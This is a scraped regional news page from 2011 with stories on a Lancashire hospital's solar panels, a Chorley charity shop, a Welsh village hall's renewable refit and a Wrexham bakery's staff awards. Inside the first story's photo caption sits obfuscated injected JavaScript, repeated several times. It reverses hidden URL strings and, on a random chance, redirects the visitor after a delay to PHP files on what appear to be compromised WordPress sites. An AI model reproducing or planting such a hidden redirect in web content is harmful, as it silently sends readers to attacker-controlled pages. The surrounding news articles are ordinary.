Category: News

Top hospital in green energy switch

Bill Wilkinson Head of Estates at Calders$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tones Hospital with Gareth Jones of Carbon Zero

A North Wales renewable energy company has helped a ground-breaking North West hospital go ‘green’ thanks to the installation of a major solar power system.

Carbon Zero UK has just completed a major project to fit 112 solar panels on the roof of a building at Calderstones Hospital, at Whalley, near Clitheroe, in Lancashire.

Gareth Jones, Managing Director of St Asaph-based Carbon Zero UK, said: “The hospital is a leader in the field of health provision for people with learning disabilities and now it’s pioneering a way in the field of renewable energy.

“We’re delighted to have been involved in such an important project for such a prestigious client.”

The panels, each of them 1.6 metres by 0.9 metres, will generate electricity to help power the hospital’s ground-source heating pumps as part of a comprehensive plan by the Calderstones Partnership NHS Foundation Trust to reduce CO2 emissions.

The hospital provides care for people with learning disabilities from across the North West of England.

The Trust’s Head of Estates, Bill Wilkinson, said: “We have done energy conservation work at the hospital already and a new building is being constructed which will be heated by ground-source pumps and we felt that we should try and ensure the pumps were powered by a green technology
rather than off the national grid.

“We chose solar power because it seemed the best option and it really is ideal for buildings which are south-facing and have a large roof area and what really made the difference for us was the Government’s new feed-in tariffs which meant we would recoup the expense within seven years.

“”We invited Carbon Zero to tender and chose them because  they had experience of installing similar systems on large buildings such as Glyndwr University in Wrexham.

“The other advantages of solar power are that it is not intrusive in the way that wind turbines can be and it is very low maintenance – basically it sits on your roof and gets on with the job.”

Gareth Jones added: “This is cutting edge technology that will reduce the building’s carbon footprint by nearly 12 tons a year and generate about 22,000 kW/h of electricity.

“It underlines how important the new ‘green’ technologies are for the future of the construction industry and how buildings such as hospitals can be ideal sites to take advantage of solar power.”

The new solar power systemcould provide enough energy to save the hospital up to £2000 a year and provide annual benefits in the region of £9,500 per year.

“There really has never been a better time to go green and solar power is just one of the many new
technologies available today, many of which have been incorporated into the hospital.

“We specialise in a whole range of technologies for domestic and commercial properties including air and ground-source heating, biomass boilers, wind turbines and rainwater harvesting.

“Solar power is a fantastic option for buildings with large roof areas and is also a realistic opportunity for homes as well.

“We’re delighted to have been involved in such a prestigious project and it shows that these technologies and the expertise to install them exist in North Wales.”

Bill Wilkinson added: “This is part of our plan to reduce our carbon emissions by ten per cent by 2015. The energy provided by the solar power will be multiplied three or four times by the ground-source heat pumps.

“We’ve been very pleased with the way the project has gone and would definitely look at further solar power with the only constraint being the 50 kilowatt limit above which the payments reduce.

“But we do have other suitable roofs on our buildings which could be used and we believe it is a good idea for hospitals which tend to have large roof areas.

“It also complements the other measures we’ve taken such as thermal insulation, gas boilers, low energy lighting and building management control systems and we see it as a very low impact solution and, with a guaranteed 25 years of service, one which has a long life.”

Wednesday December 7th, 2011

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Charity shop celebrates anniversary

l-r Daisie Wright aged 18, Joan Leach, Graham Wild, Connie Ingham of Brinscall, Suzanne Ellis, Brenda Denby, Barbara Gallagher, Ian Berry of Liverpool and Christine Corcoran -- all from Chorley apart from the two mentioned.

A CHORLEY charity shop and its dedicated team of volunteers are celebrating their 15th anniversary of trading in the town and raising more than half a million pounds for charity.

Six of the 28 volunteers at the British Heart Foundation shop in Market Walk have supported
the store since it opened in November 1996, clocking up almost 100 years of volunteer work between them.

One of them is Connie Ingham, 78, from Brinstall, who started volunteering at the shop just two months after her husband Cyril died suddenly from a heart attack, aged 63.

Connie, a grandmother-of-four and great grandmother-of-two, said: “It is devastating and unbelievable when you lose a loved one so suddenly to a heart attack.

“I cannot explain how you feel but you feel you have died as well. For me, the hardest times were at night when it would hit home to me that Cyril was not coming home and it was horrible.”

She added: “When I left the house that morning, he closed the garage door for me and then suddenly he was gone. That was the last time I saw him alive. He had taken early retirement and had only been finished nine weeks. There was absolutely no warning at all that it was going to happen.”

Following Cyril’s death, Connie received some money from the firm her husband had worked for and she decided to donate all of it to the British Heart Foundation.

She said: “When the man from the British Heart Foundation came to collect the money, he told me about the new shop opening in Market Walk and would I be interested in volunteering. But I had just lost my husband and I wasn’t really interested in anything. But a good friend of mine said she would come with me and persuaded me to go along. I have been working there ever since.”

Connie has also been helping her partner Tom through his own battle with heart disease following a recent bypass operation.

The British Heart Foundation is a national charity which works to prevent people dying prematurely from heart disease. Money raised goes towards pioneering research, vital prevention work and care and support for people living with the disease. From funding specialist nurses to raising awareness about the causes of heart disease, the charity, which has been running since 1961, gives a wealth of support to health professionals and families battling the disease.

Manager of the Market Walk shop, Suzanne Ellis, has worked full time at the store since it opened and said they simply could not survive without the support of their volunteers.

She said: “They are all very dedicated and committed people and I couldn’t run the shop without them. They are very precious to us and that is why we look after them.

“We fill them up with tea, coffee, biscuits and sweets and we all get on very well. It is more like a family than a shop.

“We all get through our problems in life together and look out for one another. They are just a lovely team to work with.”

Suzanne also praised her Chorley customers who continue to visit and buy from the shop raising vital funds for the national heart charity.

Suzanne, 55,a mother-of-one from Clayton-Le-Willows, whose own mother, Barbara, suffers from heart problems and has to have regular checks, said: “We have very loyal, regular customers in Chorley, which keeps the shop going, but we are always after more stock.

“Market Walk is a good spot for us because it has a good footfall  which keeps the shop busy and since Poundland opened, we have noticed even more customers, especially on a Sunday which has
traditionally been a quieter day for us.”

Ian Mousdell, Market Walk manager, said: “It is heart warming to hear of the support the British Heart Foundation shop has from its dedicated band of volunteers and the many loyal customers who come to Market Walk and visit it.

“It is a very important cause and we all look forward to the shop’s inclusion in Market Walk for another 15 years.”

Christmas cards and gifts are on sale now at the British Heart Foundation shop in Market Walk. To find out more about volunteering at the Chorley shop, call 01257 231702.

Wednesday December 7th, 2011

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The ‘greenest’ Village Hall in Wales

CARBON ZERO UK...TREFNANT VILLAGE HALL. Pictured from Left is Gareth Jones MD of Carbon Zero UK, Tudor Evans Chairman of the Village Hall, Chris Ruane MP, Val Roberts project Manager of the village Hall and Ann Jones AM.

A Vale of Clwyd village hall is the ‘greenest’ in Wales after getting a renewable energy makeover.

Trefnant Village Hall dates back to 1917 but it’s been brought firmly into the 21st century thanks to St Asaph-based green energy specialists Carbon Zero UK.

The hall generates its own electricity thanks to 16 solar panels on its roof and supplies itself with most of the water it needs thanks to a rainwater harvesting system while four more solar thermal panels provide hot water for the showers.

Local MP Chris Ruane and Assembly Member Ann Jones were impressed with the transformation when they visited the site to see the work that has been done.

Vale of Clwyd Labour MP Ruane said: “I think it’s an excellent way of powering a village hall in the 21st century and it shows we have the capability here in the Vale of Clwyd to install these sophisticated energy systems. They really deserve a pat on the back.

“Trefnant is leading the field. This must be the greenest village hall in Wales with its solar panels and rainwater harvesting sand it gives the village hall long term sustainability over the next 25 years.”

The heating, electricity and water systems are part of a major refurbishment of the village hall which was brought to the village from the First World War army camp at Kinmel Bay in 1917.

Carbon Zero Managing Director Gareth Jones said: “This system is quite cutting edge because it provides electricity and heats the water which is gathered from the roof but also filters it using ultra violet rays to make it safe for bathing.

“The 16 solar panels will provide 3,000 kilowatt hours of electricity a year while the solar thermal panels can heat 750 litres of water on demand for showers and there is a rainwater harvesting tank which stores 7,500 litres of water.

Ann Jones, Labour’s Welsh Assembly Member for the Vale of Clwyd, added: “This project is very much in line with Welsh Assembly Government thinking about how communities need to take care of our planet.

“I believe this is a first and I hope they can share their experience with many more communities throughout Wales.”

Val Roberts, the Village Hall’s project manager, has masterminded the transformation of the hall which has been achieved with grants totalling £155,000 from local rural development agency Cadwyn Clwyd, Denbighshire County Council and the Welsh Assembly Government’s Communities and Facilities Fund.

He said: “The village hall is such an important amenity. It is hired out every day for everything from yoga and WI meetings to Zumba and karate and this makes it more viable to open it because it keeps the costs down.

“We are on a water meter so The rainwater harvesting will save us money and the electricity generation will earn us money by selling it back to the national grid. I’m sure we’ll be the greenest village hall in Wales.

“Carbon Zero have done a very good job for us and Gareth has been a great help with advice. We’re very leased with them.”

Gareth Jones added: “They’ve got a really good community here in Trefnant and they’re an inspiration to other communities.

“They’ve really worked hard and fought for this and Val and the chairman, Tudor Evans, have done a great job for their community and as a local company we’re delighted to have been involved in this scheme.”

 

Tuesday November 15th, 2011

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Loyalty is the recipe for success

Long serving staff at Gerrards in Wrexham. From left, Colin Jones, Jeanette Williams, Dawn and Dirk van Rensburg, Gloria Davies, Adrian Munckley, Phillip Jones, Chris Williams and Teresa McNeil.

Six members of staff at the oldest bakery in Wales have been recognised after clocking up more than 180 years between them.

Averaging more than 30 years’ service each, they received special awards from grateful bosses at the family run Gerrards bakery in Wrexham.

Earlier this year Gerrards, founded in 1838 and being run by the sixth generation of the family, was named as one of the top three bakeries in the UK.

They were finalists in the category for Craft Business of the Year at the Bakery Industry Awards.

According to Director Dawn van Rensburg, the loyal service and expertise of the staff receiving awards were essential ingredients in their recipe for continuing success.

The staff who received long service awards were bakery foreman Chris Williams, bread foreman Adrian Munkley, baker and confectioner Jeanette Williams, van driver Colin Jones, Payroll Manager Teresa McNeil and Retail Manager Gloria Davies.

Also at the ceremony was Mrs van Rensburg’s father, Philip Gerrard Jones who started working in the bakery full-time in 1958 and was in charge for more than 30 years. He and his wife, Claire, have passed on the baton to the next generation.

Mrs van Rensburg now runs the company with her husband and fellow director, Dirk van Rensburg.

Shesaid: “I’m incredibly proud of the fact we were in the final three at the Bakery Industry Awards.

“It was a huge accolade that would not have happened without the fantastic team of staff we’ve got in the bakery and out in our shops.

“Maintaining our high standards is vital to us. The economic climate isn’t wonderful but the one thing we won’t compromise is the quality of the ingredients we use and the love and attention we put into the products.

“We support local suppliers wherever we can – all of our meat is locally sourced from within 20 miles of the bakery and we also use local suppliers for all our vegetables and  our salad items.

“The long service awards are another important milestone in the history of Gerrards and in the next few years we will have other members of staff who will have been with us for 20 years.

“I think it says a lot about the business that we have so many people who have been with us for such a long time – we have people whose parents and grandparents also worked here.

“There’s a very strong sense of loyalty and family spirit within the whole business – not  just the Gerrards family but the staff’s families too.

“Every member of staff we have in the bakery and in the shops is vital to the smooth running of the business. We value their contribution.”

That loyalty is very much a two-way street as far as bread foreman Adrian Munkley is concerned.

Adrian, 48, joined Gerrards straight from school in 1979 and still loves his job – he was particularly proud the company were finalists in this year’s bakery “Oscars”.

Bakery foreman Chris Williams, 54, has worked at the bakery for more than 30 years and met his wife Jeanette, 55, there.

Jeanette, a baker and confectioner, said: “It’s been really nice, really lovely, it’s like one big family really. I have now worked for three generations of the family.

Ex-miner Colin Jones, 66. has been working as a van driver since 1989.

He said: “Mr  Gerrard Jones gave me the chance and I’ve been here ever since, and I’ve loved every minute of it.”

Payroll Manager Teresa McNeil, 37, followed in her mother’s footsteps when she started in 1991.

She said: “Everyone gets on so well  and they treat everybody like family, they’re really good with us”

The longest serving member of staff is Retail Manager Gloria Davies, from Buckley.

She has just celebrated 40 years working for Gerrards and at 68 she has no plans to retire.

Gloria said: “These days when everything is owned by huge companies, it’s really nice to have a family-owned business which takes a pride in what it produces.”

Tuesday November 15th, 2011

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